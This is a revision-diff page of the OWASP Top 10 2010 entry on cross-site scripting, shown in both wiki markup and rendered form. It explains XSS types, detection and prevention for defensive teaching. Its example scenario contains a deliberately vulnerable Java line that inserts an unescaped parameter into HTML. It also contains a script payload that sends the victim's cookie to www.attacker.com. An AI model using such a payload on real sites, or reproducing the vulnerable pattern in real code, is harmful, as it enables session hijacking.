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Difference between revisions of "Top 10 2010-A2-Cross-Site Scripting (XSS)"

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{{Top_10_2010:TopTemplate|useprev=2010PrevLink|usenext=2010NextLink|prev=A1-Injection|next=A3-Broken Authentication and Session Management}}
 
{{Top_10_2010:TopTemplate|useprev=2010PrevLink|usenext=2010NextLink|prev=A1-Injection|next=A3-Broken Authentication and Session Management}}
  
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{| style="align:center; text-align:center; border:2px solid #4F81BD; background-color:#F2F2F2; padding=2;"
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{{Top_10_2010:SummaryTableValue-2-Template|Exploitability|AVERAGE}}
|- style="background-color: #4F81Bd; color: #FFFFFF;"
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{{Top_10_2010:SummaryTableValue-0-Template|Prevalence|VERY WIDESPREAD}}
! Threat Agents !! Attack Vectors
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{{Top_10_2010:SummaryTableValue-1-Template|Detectability|EASY}}
! colspan="2" | Security Weakness
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{{Top_10_2010:SummaryTableValue-2-Template|Impact|MODERATE}}
! Technical Impacts
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{{Top_10_2010:SummaryTableHeaderEndTemplate}}
! Business Impacts
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    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.</td>
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    <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.</td>
| style="background-color: #D9D9D9; color: #000000;" | ______
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    <td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>[[Cross-site_Scripting_(XSS) | XSS]] is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) [[Cross-site_Scripting_(XSS)#Stored_XSS_Attacks | Stored]], 2) [[Cross-site_Scripting_(XSS)#Reflected_XSS_Attacks | Reflected]], and 3) [[DOM_Based_XSS | DOM based XSS]].<br/><br/>Detection of most XSS flaws is fairly easy via testing or code analysis.</td>
| style="background-color: #FFB200; color: #000000;" | '''Exploitability<br>AVERAGE
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<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.</td>
| style="background-color: #FF00FF; color: #000000;" | '''Prevalence<br>VERY WIDESPREAD
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<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Consider the business value of the affected system and all the data it processes.<br/><br/>Also consider the business impact of public exposure of the vulnerability.</td>
| style="background-color: #FF0000; color: #000000;" | '''Detectability<br>EASY
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{{Top_10_2010:SummaryTableEndTemplate}}
| style="background-color: #FFB200; color: #000000;" | '''Impact<br>MODERATE
 
| style="background-color: #D9D9D9; color: #000000;" | ______
 
|-
 
| style="text-align: left; border: 2px solid #FFFFFF;" | Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
 
| style="text-align: left; border: 2px solid #FFFFFF;" | Attacker sends text- based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
 
| colspan="2" style="text-align: left;border: 2px solid #FFFFFF;" | [[Cross-site_Scripting_(XSS) | XSS]] is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) [[Cross-site_Scripting_(XSS)#Stored_XSS_Attacks | Stored]], 2) [[Cross-site_Scripting_(XSS)#Reflected_XSS_Attacks | Reflected]], and 3) [[DOM_Based_XSS | DOM based XSS]].
 
  
Detection of most XSS flaws is fairly easy via testing or code analysis.
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{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=1|risk=2}}
| style="text-align: left; border: 2px solid #FFFFFF;" | Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
 
| style="text-align: left; border: 2px solid #FFFFFF;" | Consider the business value of the affected system and all the data it processes.
 
 
 
Also consider the business impact of public exposure of the vulnerability.
 
|}
 
</center>
 
{{Top_10_2010:SubsectionVulnerableTemplate|XSS|
 
 
You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.
 
You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.
  
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Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.
 
Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.
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{{Top_10_2010:SubsectionPreventionTemplate|XSS|
 
 
Preventing XSS requires keeping untrusted data separate from active browser content.
 
Preventing XSS requires keeping untrusted data separate from active browser content.
 
# The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] for more information about data escaping techniques.
 
# The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] for more information about data escaping techniques.
# Positive or “whitelist” input validation with appropriate canonicalization and decoding is also recommended as it helps protect against XSS, but is <u>not a complete defense</u> as many applications require special characters in their input. Such validation should, as much as possible, decode any encoded input, and then validate the length, characters, format, and any business rules on that data before accepting the input.
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# Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.
}}
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# Consider employing Mozilla’s new [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Content Security Policy] that is coming out in Firefox 4 to defend against XSS.
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The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
 
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
:[[File:Xss-snippet-1.png]]
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{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">(String) page += "&#9001;input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'&#9002;";</span>{{Top_10_2010:ExampleEndTemplate}}
 
The attacker modifies the ‘CC’ parameter in their browser to:
 
The attacker modifies the ‘CC’ parameter in their browser to:
:[[File:Xss-snippet-2.png]]
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{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">'&#9002;&#9001;script&#9002;document.location=<nowiki> 'http://www.attacker.com</nowiki>/cgi-bin/cookie.cgi?foo='+document.cookie&#9001;/script&#9002;'.</span>{{Top_10_2010:ExampleEndTemplate}}
 
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
 
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
  
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A5 for info on CSRF.
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Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See [[Top_10_2010-A5 | A5 for info on CSRF]].
  
{{Top_10_2010:SubsectionReferencesTemplate|XSS}}
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{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
 
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
 
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]]
 
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]]
 
* [[Cross-site_Scripting_(XSS) | OWASP Cross-Site Scripting Article]]
 
* [[Cross-site_Scripting_(XSS) | OWASP Cross-Site Scripting Article]]
* [[ESAPI | ESAPI Project Home Page]]
 
 
* [http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]
 
* [http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]
 
* [http://www.owasp.org/index.php/ASVS#tab=Downloads ASVS: Output Encoding/Escaping Requirements (V6)]
 
* [http://www.owasp.org/index.php/ASVS#tab=Downloads ASVS: Output Encoding/Escaping Requirements (V6)]
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* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]
 
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]
 
* [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet]
 
* [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet]
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* [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Firefox 4’s Anti-XSS Content Security Policy Mechanism]
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[[Category:OWASP Top Ten Project]]

Latest revision as of 19:44, 18 October 2010

NOTE: THIS IS NOT THE LATEST VERSION. Please visit the OWASP Top 10 project page to find the latest edition.

← A1-Injection
Top 10 Introduction
Top 10 Risks
A3-Broken Authentication and Session Management →
Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts
Application Specific Exploitability
AVERAGE
Prevalence
VERY WIDESPREAD
Detectability
EASY
Impact
MODERATE
Application / Business Specific
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators. Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database. XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.

Detection of most XSS flaws is fairly easy via testing or code analysis.
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.
Am I Vulnerable To 'Cross-Site Scripting (XSS)'?

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed.

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools.

How Do I Prevent 'Cross-Site Scripting (XSS)'?

Preventing XSS requires keeping untrusted data separate from active browser content.

  1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.
  2. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.
  3. Consider employing Mozilla’s new Content Security Policy that is coming out in Firefox 4 to defend against XSS.
Example Attack Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "〈input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'〉";

The attacker modifies the ‘CC’ parameter in their browser to:

'〉〈script〉document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie〈/script〉'.

This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A5 for info on CSRF.

References

OWASP

External

← A1-Injection
Top 10 Introduction
Top 10 Risks
A3-Broken Authentication and Session Management →

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